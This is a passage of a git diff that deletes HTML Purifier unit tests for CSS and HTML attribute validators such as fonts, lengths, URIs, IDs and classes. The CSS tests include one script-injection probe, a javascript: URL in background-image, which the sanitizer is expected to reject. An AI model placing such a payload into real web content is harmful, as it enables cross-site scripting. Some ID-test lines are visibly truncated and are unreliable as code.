$def2->expectNever('validate'); - - $result = $def->validate($input, $config, $context); - $this->assertIdentical($output, $result); - - // second test, first def fails, second def works - - $def1 = new HTMLPurifier_AttrDefMock(); - $def2 = new HTMLPurifier_AttrDefMock(); - $defs = array(&$def1, &$def2); - $def = new HTMLPurifier_AttrDef_CSS_Composite_Testable($defs); - $input = 'BOOMA'; - $output = 'booma'; - $def_params = array($input, $config, $context); - $def1->expectOnce('validate', $def_params); - $def1->setReturnValue('validate', false, $def_params); - $def2->expectOnce('validate', $def_params); - $def2->setReturnValue('validate', $output, $def_params); - - $result = $def->validate($input, $config, $context); - $this->assertIdentical($output, $result); - - // third test, all fail, so composite faiils - - $def1 = new HTMLPurifier_AttrDefMock(); - $def2 = new HTMLPurifier_AttrDefMock(); - $defs = array(&$def1, &$def2); - $def = new HTMLPurifier_AttrDef_CSS_Composite_Testable($defs); - $input = 'BOOMA'; - $output = false; - $def_params = array($input, $config, $context); - $def1->expectOnce('validate', $def_params); - $def1->setReturnValue('validate', false, $def_params); - $def2->expectOnce('validate', $def_params); - $def2->setReturnValue('validate', false, $def_params); - - $result = $def->validate($input, $config, $context); - $this->assertIdentical($output, $result); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FilterTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FilterTest.php deleted file mode 100644 index 7795643f1..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FilterTest.php +++ /dev/null @@ -1,29 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_Filter(); - - $this->assertDef('none'); - - $this->assertDef('alpha(opacity=0)'); - $this->assertDef('alpha(opacity=100)'); - $this->assertDef('alpha(opacity=50)'); - $this->assertDef('alpha(opacity=342)', 'alpha(opacity=100)'); - $this->assertDef('alpha(opacity=-23)', 'alpha(opacity=0)'); - - $this->assertDef('alpha ( opacity = 0 )', 'alpha(opacity=0)'); - $this->assertDef('alpha(opacity=0,opacity=100)', 'alpha(opacity=0)'); - - $this->assertDef('progid:DXImageTransform.Microsoft.Alpha(opacity=20)'); - - $this->assertDef('progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)', false); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontFamilyTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontFamilyTest.php deleted file mode 100644 index fda8e01ff..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontFamilyTest.php +++ /dev/null @@ -1,52 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_FontFamily(); - - $this->assertDef('Gill, Helvetica, sans-serif'); - $this->assertDef("'Times New Roman', serif"); - $this->assertDef("\"Times New Roman\"", "'Times New Roman'"); - $this->assertDef('01234'); - $this->assertDef(',', false); - $this->assertDef('Times New Roman, serif', "'Times New Roman', serif"); - $this->assertDef($d = "'\xE5\xAE\x8B\xE4\xBD\x93'"); - $this->assertDef("\xE5\xAE\x8B\xE4\xBD\x93", $d); - $this->assertDef("'\\01'", "''"); - $this->assertDef("'\\20'", "' '"); - $this->assertDef("\\0020", "' '"); - $this->assertDef("'\\000045'", "E"); - $this->assertDef("','", false); - $this->assertDef("',' foobar','", "' foobar'"); - $this->assertDef("'\\000045a'", "Ea"); - $this->assertDef("'\\00045 a'", "Ea"); - $this->assertDef("'\\00045 a'", "'E a'"); - $this->assertDef("'\\\nf'", "f"); - // No longer supported, except maybe in NoJS mode (see source - // file for more explanation) - //$this->assertDef($d = '"John\'s Font"'); - //$this->assertDef("John's Font", $d); - //$this->assertDef("'\\','f'", "\"\\5C \", f"); - //$this->assertDef("'\\27'", "\"'\""); - //$this->assertDef('"\\22"', "\"\\22 \""); - //$this->assertDef('"\\""', "\"\\22 \""); - //$this->assertDef('"\'"', "\"'\""); - } - - function testAllowed() { - $this->config->set('CSS.AllowedFonts', array('serif', 'Times New Roman')); - - $this->assertDef('serif'); - $this->assertDef('sans-serif', false); - $this->assertDef('serif, sans-serif', 'serif'); - $this->assertDef('Times New Roman', "'Times New Roman'"); - $this->assertDef("'Times New Roman'"); - $this->assertDef('foo', false); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontTest.php deleted file mode 100644 index 91870d13e..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontTest.php +++ /dev/null @@ -1,34 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_Font($config); - - // hodgepodge of usage cases from W3C spec, but " -> ' - $this->assertDef('12px/14px sans-serif'); - $this->assertDef('80% sans-serif'); - $this->assertDef("x-large/110% 'New Century Schoolbook', serif"); - $this->assertDef('bold italic large Palatino, serif'); - $this->assertDef('normal small-caps 120%/120% fantasy'); - $this->assertDef("300 italic 1.3em/1.7em 'FB Armada', sans-serif"); - $this->assertDef('600 9px Charcoal'); - $this->assertDef('600 9px/ 12px Charcoal', '600 9px/12px Charcoal'); - - // spacing - $this->assertDef('12px / 14px sans-serif', '12px/14px sans-serif'); - - // system fonts - $this->assertDef('menu'); - - $this->assertDef('800', false); - $this->assertDef('600 9px//12px Charcoal', false); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ImportantDecoratorTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ImportantDecoratorTest.php deleted file mode 100644 index c7fa8a0fa..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ImportantDecoratorTest.php +++ /dev/null @@ -1,49 +0,0 @@ -mock = new HTMLPurifier_AttrDefMock(); - $this->def = new HTMLPurifier_AttrDef_CSS_ImportantDecorator($this->mock, true); - } - - protected function setMock($input, $output = null) { - if ($output === null) $output = $input; - $this->mock->expectOnce('validate', array($input, $this->config, $this->context)); - $this->mock->setReturnValue('validate', $output); - } - - function testImportant() { - $this->setMock('23'); - $this->assertDef('23 !important'); - } - - function testImportantInternalDefChanged() { - $this->setMock('23', '24'); - $this->assertDef('23 !important', '24 !important'); - } - - function testImportantWithSpace() { - $this->setMock('23'); - $this->assertDef('23 ! important ', '23 !important'); - } - - function testFakeImportant() { - $this->setMock('! foo important'); - $this->assertDef('! foo important'); - } - - function testStrip() { - $this->def = new HTMLPurifier_AttrDef_CSS_ImportantDecorator($this->mock, false); - $this->setMock('23'); - $this->assertDef('23 ! important ', '23'); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/LengthTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/LengthTest.php deleted file mode 100644 index 9d9fc41f2..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/LengthTest.php +++ /dev/null @@ -1,48 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_Length(); - - $this->assertDef('0'); - $this->assertDef('0px'); - $this->assertDef('4.5px'); - $this->assertDef('-4.5px'); - $this->assertDef('3ex'); - $this->assertDef('3em'); - $this->assertDef('3in'); - $this->assertDef('3cm'); - $this->assertDef('3mm'); - $this->assertDef('3pt'); - $this->assertDef('3pc'); - - $this->assertDef('3PX', '3px'); - - $this->assertDef('3', false); - $this->assertDef('3miles', false); - - } - - function testNonNegative() { - - $this->def = new HTMLPurifier_AttrDef_CSS_Length('0'); - - $this->assertDef('3cm'); - $this->assertDef('-3mm', false); - - } - - function testBounding() { - $this->def = new HTMLPurifier_AttrDef_CSS_Length('-1in', '1in'); - $this->assertDef('1cm'); - $this->assertDef('-1cm'); - $this->assertDef('0'); - $this->assertDef('1em', false); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ListStyleTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ListStyleTest.php deleted file mode 100644 index 070066705..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ListStyleTest.php +++ /dev/null @@ -1,35 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_ListStyle($config); - - $this->assertDef('lower-alpha'); - $this->assertDef('upper-roman inside'); - $this->assertDef('circle outside'); - $this->assertDef('inside'); - $this->assertDef('none'); - $this->assertDef('url("foo.gif")'); - $this->assertDef('circle url("foo.gif") inside'); - - // invalid values - $this->assertDef('outside inside', 'outside'); - - // ordering - $this->assertDef('url(foo.gif) none', 'none url("foo.gif")'); - $this->assertDef('circle lower-alpha', 'circle'); - // the spec is ambiguous about what happens in these - // cases, so we're going off the W3C CSS validator - $this->assertDef('disc none', 'disc'); - $this->assertDef('none disc', 'none'); - - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/MultipleTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/MultipleTest.php deleted file mode 100644 index 4461cb508..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/MultipleTest.php +++ /dev/null @@ -1,28 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_Multiple( - new HTMLPurifier_AttrDef_Integer() - ); - - $this->assertDef('1 2 3 4'); - $this->assertDef('6'); - $this->assertDef('4 5'); - $this->assertDef(' 2 54 2 3', '2 54 2 3'); - $this->assertDef("6\r3", '6 3'); - - $this->assertDef('asdf', false); - $this->assertDef('a s d f', false); - $this->assertDef('1 2 3 4 5', '1 2 3 4'); - $this->assertDef('1 2 invalid 3', '1 2 3'); - - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/NumberTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/NumberTest.php deleted file mode 100644 index 94e6ea8cf..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/NumberTest.php +++ /dev/null @@ -1,51 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_Number(); - - $this->assertDef('0'); - $this->assertDef('0.0', '0'); - $this->assertDef('1.0', '1'); - $this->assertDef('34'); - $this->assertDef('4.5'); - $this->assertDef('.5'); - $this->assertDef('0.5', '.5'); - $this->assertDef('-56.9'); - - $this->assertDef('0.', '0'); - $this->assertDef('.0', '0'); - $this->assertDef('0.0', '0'); - - $this->assertDef('1.', '1'); - $this->assertDef('.1', '.1'); - - $this->assertDef('1.0', '1'); - $this->assertDef('0.1', '.1'); - - $this->assertDef('000', '0'); - $this->assertDef(' 9', '9'); - $this->assertDef('+5.0000', '5'); - $this->assertDef('02.20', '2.2'); - $this->assertDef('2.', '2'); - - $this->assertDef('.', false); - $this->assertDef('asdf', false); - $this->assertDef('0.5.6', false); - - } - - function testNonNegative() { - - $this->def = new HTMLPurifier_AttrDef_CSS_Number(true); - $this->assertDef('23'); - $this->assertDef('-12', false); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/PercentageTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/PercentageTest.php deleted file mode 100644 index f712af1d2..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/PercentageTest.php +++ /dev/null @@ -1,24 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_Percentage(); - - $this->assertDef('10%'); - $this->assertDef('1.607%'); - $this->assertDef('-567%'); - - $this->assertDef(' 100% ', '100%'); - - $this->assertDef('5', false); - $this->assertDef('asdf', false); - $this->assertDef('%', false); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/TextDecorationTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/TextDecorationTest.php deleted file mode 100644 index dd714d206..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/TextDecorationTest.php +++ /dev/null @@ -1,27 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_TextDecoration(); - - $this->assertDef('none'); - $this->assertDef('none underline', 'underline'); - - $this->assertDef('underline'); - $this->assertDef('overline'); - $this->assertDef('line-through overline underline'); - $this->assertDef('overline line-through'); - $this->assertDef('UNDERLINE', 'underline'); - $this->assertDef(' underline line-through ', 'underline line-through'); - - $this->assertDef('foobar underline', 'underline'); - $this->assertDef('blink', false); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/URITest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/URITest.php deleted file mode 100644 index 3d6f5791e..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/URITest.php +++ /dev/null @@ -1,29 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_URI(); - - $this->assertDef('', false); - - // we could be nice but we won't be - $this->assertDef('http://www.example.com/', false); - - $this->assertDef('url(', false); - $this->assertDef('url("")', true); - $result = 'url("http://www.example.com/")'; - $this->assertDef('url(http://www.example.com/)', $result); - $this->assertDef('url("http://www.example.com/")', $result); - $this->assertDef("url('http://www.example.com/')", $result); - $this->assertDef( - ' url( "http://www.example.com/" ) ', $result); - $this->assertDef("url(http://www.example.com/foo,bar\)\'\()", - 'url("http://www.example.com/foo,bar%29%27%28")'); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSSTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSSTest.php deleted file mode 100644 index 56917aece..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSSTest.php +++ /dev/null @@ -1,164 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS(); - } - - function test() { - - // regular cases, singular - $this->assertDef('text-align:right;'); - $this->assertDef('border-left-style:solid;'); - $this->assertDef('border-style:solid dotted;'); - $this->assertDef('clear:right;'); - $this->assertDef('float:left;'); - $this->assertDef('font-style:italic;'); - $this->assertDef('font-variant:small-caps;'); - $this->assertDef('font-weight:bold;'); - $this->assertDef('list-style-position:outside;'); - $this->assertDef('list-style-type:upper-roman;'); - $this->assertDef('list-style:upper-roman inside;'); - $this->assertDef('text-transform:capitalize;'); - $this->assertDef('background-color:rgb(0,0,255);'); - $this->assertDef('background-color:transparent;'); - $this->assertDef('background:#333 url("chess.png") repeat fixed 50% top;'); - $this->assertDef('color:#F00;'); - $this->assertDef('border-top-color:#F00;'); - $this->assertDef('border-color:#F00 #FF0;'); - $this->assertDef('border-top-width:thin;'); - $this->assertDef('border-top-width:12px;'); - $this->assertDef('border-width:5px 1px 4px 2px;'); - $this->assertDef('border-top-width:-12px;', false); - $this->assertDef('letter-spacing:normal;'); - $this->assertDef('letter-spacing:2px;'); - $this->assertDef('word-spacing:normal;'); - $this->assertDef('word-spacing:3em;'); - $this->assertDef('font-size:200%;'); - $this->assertDef('font-size:larger;'); - $this->assertDef('font-size:12pt;'); - $this->assertDef('line-height:2;'); - $this->assertDef('line-height:2em;'); - $this->assertDef('line-height:20%;'); - $this->assertDef('line-height:normal;'); - $this->assertDef('line-height:-20%;', false); - $this->assertDef('margin-left:5px;'); - $this->assertDef('margin-right:20%;'); - $this->assertDef('margin-top:auto;'); - $this->assertDef('margin:auto 5%;'); - $this->assertDef('padding-bottom:5px;'); - $this->assertDef('padding-top:20%;'); - $this->assertDef('padding:20% 10%;'); - $this->assertDef('padding-top:-20%;', false); - $this->assertDef('text-indent:3em;'); - $this->assertDef('text-indent:5%;'); - $this->assertDef('text-indent:-3em;'); - $this->assertDef('width:50%;'); - $this->assertDef('width:50px;'); - $this->assertDef('width:auto;'); - $this->assertDef('width:-50px;', false); - $this->assertDef('text-decoration:underline;'); - $this->assertDef('font-family:sans-serif;'); - $this->assertDef("font-family:Gill, 'Times New Roman', sans-serif;"); - $this->assertDef('font:12px serif;'); - $this->assertDef('border:1px solid #000;'); - $this->assertDef('border-bottom:2em double #FF00FA;'); - $this->assertDef('border-collapse:collapse;'); - $this->assertDef('border-collapse:separate;'); - $this->assertDef('caption-side:top;'); - $this->assertDef('vertical-align:middle;'); - $this->assertDef('vertical-align:12px;'); - $this->assertDef('vertical-align:50%;'); - $this->assertDef('table-layout:fixed;'); - $this->assertDef('list-style-image:url("nice.jpg");'); - $this->assertDef('list-style:disc url("nice.jpg") inside;'); - $this->assertDef('background-image:url("foo.jpg");'); - $this->assertDef('background-image:none;'); - $this->assertDef('background-repeat:repeat-y;'); - $this->assertDef('background-attachment:fixed;'); - $this->assertDef('background-position:left 90%;'); - $this->assertDef('border-spacing:1em;'); - $this->assertDef('border-spacing:1em 2em;'); - - // duplicates - $this->assertDef('text-align:right;text-align:left;', - 'text-align:left;'); - - // a few composites - $this->assertDef('font-variant:small-caps;font-weight:900;'); - $this->assertDef('float:right;text-align:right;'); - - // selective removal - $this->assertDef('text-transform:capitalize;destroy:it;', - 'text-transform:capitalize;'); - - // inherit works for everything - $this->assertDef('text-align:inherit;'); - - // bad props - $this->assertDef('nodice:foobar;', false); - $this->assertDef('position:absolute;', false); - $this->assertDef('background-image:url(\'javascript:alert\(\)\');', false); - - // airy input - $this->assertDef(' font-weight : bold; color : #ff0000', - 'font-weight:bold;color:#ff0000;'); - - // case-insensitivity - $this->assertDef('FLOAT:LEFT;', 'float:left;'); - - // !important stripping - $this->assertDef('float:left !important;', 'float:left;'); - - } - - function testProprietary() { - $this->config->set('CSS.Proprietary', true); - - $this->assertDef('scrollbar-arrow-color:#ff0;'); - $this->assertDef('scrollbar-base-color:#ff6347;'); - $this->assertDef('scrollbar-darkshadow-color:#ffa500;'); - $this->assertDef('scrollbar-face-color:#008080;'); - $this->assertDef('scrollbar-highlight-color:#ff69b4;'); - $this->assertDef('scrollbar-shadow-color:#f0f;'); - - $this->assertDef('opacity:.2;'); - $this->assertDef('-moz-opacity:.2;'); - $this->assertDef('-khtml-opacity:.2;'); - $this->assertDef('filter:alpha(opacity=20);'); - - } - - function testImportant() { - $this->config->set('CSS.AllowImportant', true); - $this->assertDef('float:left !important;'); - } - - function testTricky() { - $this->config->set('CSS.AllowTricky', true); - $this->assertDef('display:none;'); - $this->assertDef('visibility:visible;'); - $this->assertDef('overflow:scroll;'); - } - - function testForbidden() { - $this->config->set('CSS.ForbiddenProperties', 'float'); - $this->assertDef('float:left;', false); - $this->assertDef('text-align:right;'); - } - - function testTrusted() { - $this->config->set('CSS.Trusted', true); - $this->assertDef('position:relative;'); - $this->assertDef('left:2px;'); - $this->assertDef('right:100%;'); - $this->assertDef('top:auto;'); - $this->assertDef('z-index:-2;'); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/EnumTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/EnumTest.php deleted file mode 100644 index 7722c1bc2..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/EnumTest.php +++ /dev/null @@ -1,37 +0,0 @@ -def = new HTMLPurifier_AttrDef_Enum(array('one', 'two')); - $this->assertDef('one'); - $this->assertDef('ONE', 'one'); - } - - function testCaseSensitive() { - $this->def = new HTMLPurifier_AttrDef_Enum(array('one', 'two'), true); - $this->assertDef('one'); - $this->assertDef('ONE', false); - } - - function testFixing() { - $this->def = new HTMLPurifier_AttrDef_Enum(array('one')); - $this->assertDef(' one ', 'one'); - } - - function test_make() { - $factory = new HTMLPurifier_AttrDef_Enum(); - - $def = $factory->make('foo,bar'); - $def2 = new HTMLPurifier_AttrDef_Enum(array('foo', 'bar')); - $this->assertIdentical($def, $def2); - - $def = $factory->make('s:foo,BAR'); - $def2 = new HTMLPurifier_AttrDef_Enum(array('foo', 'BAR'), true); - $this->assertIdentical($def, $def2); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/BoolTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/BoolTest.php deleted file mode 100644 index 060d0fc8f..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/BoolTest.php +++ /dev/null @@ -1,22 +0,0 @@ -def = new HTMLPurifier_AttrDef_HTML_Bool('foo'); - $this->assertDef('foo'); - $this->assertDef('', false); - $this->assertDef('bar', 'foo'); - } - - function test_make() { - $factory = new HTMLPurifier_AttrDef_HTML_Bool(); - $def = $factory->make('foo'); - $def2 = new HTMLPurifier_AttrDef_HTML_Bool('foo'); - $this->assertIdentical($def, $def2); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ClassTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ClassTest.php deleted file mode 100644 index 6effd3cde..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ClassTest.php +++ /dev/null @@ -1,48 +0,0 @@ -def = new HTMLPurifier_AttrDef_HTML_Class(); - } - function testAllowedClasses() { - $this->config->set('Attr.AllowedClasses', array('foo')); - $this->assertDef('foo'); - $this->assertDef('bar', false); - $this->assertDef('foo bar', 'foo'); - } - function testForbiddenClasses() { - $this->config->set('Attr.ForbiddenClasses', array('bar')); - $this->assertDef('foo'); - $this->assertDef('bar', false); - $this->assertDef('foo bar', 'foo'); - } - function testDefault() { - $this->assertDef('valid'); - $this->assertDef('a0-_'); - $this->assertDef('-valid'); - $this->assertDef('_valid'); - $this->assertDef('double valid'); - - $this->assertDef('0stillvalid'); - $this->assertDef('-0'); - - // test conditional replacement - $this->assertDef('validassoc 0valid', 'validassoc 0valid'); - - // test whitespace leniency - $this->assertDef(" double\nvalid\r", 'double valid'); - - // test case sensitivity - $this->assertDef('VALID'); - - // test duplicate removal - $this->assertDef('valid valid', 'valid'); - } - function testXHTML11Behavior() { - $this->config->set('HTML.Doctype', 'XHTML 1.1'); - $this->assertDef('0invalid', false); - $this->assertDef('valid valid', 'valid'); - } -} diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ColorTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ColorTest.php deleted file mode 100644 index 8b4a46347..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ColorTest.php +++ /dev/null @@ -1,20 +0,0 @@ -def = new HTMLPurifier_AttrDef_HTML_Color(); - $this->assertDef('', false); - $this->assertDef('foo', false); - $this->assertDef('43', false); - $this->assertDef('red', '#FF0000'); - $this->assertDef('#FF0000'); - $this->assertDef('#453443'); - $this->assertDef('453443', '#453443'); - $this->assertDef('#345', '#334455'); - $this->assertDef('120', '#112200'); - } -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/FrameTargetTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/FrameTargetTest.php deleted file mode 100644 index 7d3e24c75..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/FrameTargetTest.php +++ /dev/null @@ -1,28 +0,0 @@ -def = new HTMLPurifier_AttrDef_HTML_FrameTarget(); - } - - function testNoneAllowed() { - $this->assertDef('', false); - $this->assertDef('foo', false); - $this->assertDef('_blank', false); - $this->assertDef('baz', false); - } - - function test() { - $this->config->set('Attr.AllowedFrameTargets', 'foo,_blank'); - $this->assertDef('', false); - $this->assertDef('foo'); - $this->assertDef('_blank'); - $this->assertDef('baz', false); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/IDTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/IDTest.php deleted file mode 100644 index 245db16da..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/IDTest.php +++ /dev/null @@ -1,108 +0,0 @@ -context->register('IDAccumulator', $id_accumulator); - $this->config->set('Attr.EnableID', true); - $this->def = new HTMLPurifier_AttrDef_HTML_ID(); - - } - - function test() { - - // valid ID names - $this->assertDef('alpha'); - $this->assertDef('al_ha'); - $this->assertDef('a0-:.'); - $this->assertDef('a'); - - // invalid ID names - $this->assertDef('assertDef('0123', false); - $this->assertDef('.asa', false); - - // test duplicate detection - $this->assertDef('once'); - $this->assertDef('once', false); - - // valid once whitespace stripped, but needs to be amended - $this->assertDef(' whee ', 'whee'); - - } - - function testPrefix() { - - $this->config->set('Attr.IDPrefix', 'user_'); - - $this->assertDef('alpha', 'user_alpha'); - $this->assertDef('assertDef('once', 'user_once'); - $this->assertDef('once', false); - - // if already prefixed, leave alone - $this->assertDef('user_alas'); - $this->assertDef('user_user_alas'); // how to bypass - - } - - function testTwoPrefixes() { - - $this->config->set('Attr.IDPrefix', 'user_'); - $this->config->set('Attr.IDPrefixLocal', 'story95_'); - - $this->assertDef('alpha', 'user_story95_alpha'); - $this->assertDef('assertDef('once', 'user_story95_once'); - $this->assertDef('once', false); - - $this->assertDef('user_story95_alas'); - $this->assertDef('user_alas', 'user_story95_user_alas'); // ! - } - - function testLocalPrefixWithoutMainPrefix() { - // no effect when IDPrefix isn't set - $this->config->set('Attr.IDPrefix', ''); - $this->config->set('Attr.IDPrefixLocal', 'story95_'); - $this->expectError('%Attr.IDPrefixLocal cannot be used unless '. - '%Attr.IDPrefix is set'); - $this->assertDef('amherst'); - - } - - // reference functionality is disabled for now - function disabled_testIDReference() { - - $this->def = new HTMLPurifier_AttrDef_HTML_ID(true); - - $this->assertDef('good_id'); - $this->assertDef('good_id'); // duplicates okay - $this->assertDef('', false); - - $this->def = new HTMLPurifier_AttrDef_HTML_ID(); - - $this->assertDef('good_id'); - $this->assertDef('good_id', false); // duplicate now not okay - - $this->def = new HTMLPurifier_AttrDef_HTML_ID(true); - - $this->assertDef('good_id'); // reference still okay - - } - - function testRegexp() { - - $this->config->set('Attr.IDBlacklistRegexp', '/^g_/'); - - $this->assertDef('good_id'); - $this->assertDef('g_bad_id', false); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LengthTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LengthTest.php deleted file mode 100644 index d165e30b5..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LengthTest.php +++ /dev/null @@ -1,32 +0,0 @@ -def = new HTMLPurifier_AttrDef_HTML_Length(); - } - - function test() { - - // pixel check - parent::test(); - - // percent check - $this->assertDef('25%'); - - // Firefox maintains percent, so will we - $this->assertDef('0%'); - - // 0% <= percent <= 100% - $this->assertDef('-15%', '0%'); - $this->assertDef('120%', '100%'); - - // fractional percents, apparently, aren't allowed - $this->assertDef('56.5%', '56%'); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LinkTypesTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LinkTypesTest.php deleted file mode 100644 index d90b65b1f..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LinkTypesTest.php +++ /dev/null @@ -1,21 +0,0 @@ -def = new HTMLPurifier_AttrDef_HTML_LinkTypes('rel'); - $this->config->set('Attr.AllowedRel', array('nofollow', 'foo')); - - $this->assertDef('', false); - $this->assertDef('nofollow', true); - $this->assertDef('nofollow foo', true); - $this->assertDef('nofollow bar', 'nofollow'); - $this->assertDef('bar', false); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/MultiLengthTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/MultiLengthTest.php deleted file mode 100644 index eb6f34011..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/MultiLengthTest.php +++ /dev/null @@ -1,28 +0,0 @@ -def = new HTMLPurifier_AttrDef_HTML_MultiLength(); - } - - function test() { - - // length check - parent::test(); - - $this->assertDef('*'); - $this->assertDef('1*', '*'); - $this->assertDef('56*'); - - $this->assertDef('**', false); // plain old bad - - $this->assertDef('5.4*', '5*'); // no decimals - $this->assertDef('-3*', false); // no negatives - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/NmtokensTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/NmtokensTest.php deleted file mode 100644 index bb64ff6e2..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/NmtokensTest.php +++ /dev/null @@ -1,35 +0,0 @@ -def = new HTMLPurifier_AttrDef_HTML_Nmtokens(); - } - - function testDefault() { - - $this->assertDef('valid'); - $this->assertDef('a0-_'); - $this->assertDef('-valid'); - $this->assertDef('_valid'); - $this->assertDef('double valid'); - - $this->assertDef('0invalid', false); - $this->assertDef('-0', false); - - // test conditional replacement - $this->assertDef('validassoc 0invalid', 'validassoc'); - - // test whitespace leniency - $this->assertDef(" double\nvalid\r", 'double valid'); - - // test case sensitivity - $this->assertDef('VALID'); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/PixelsTest.php 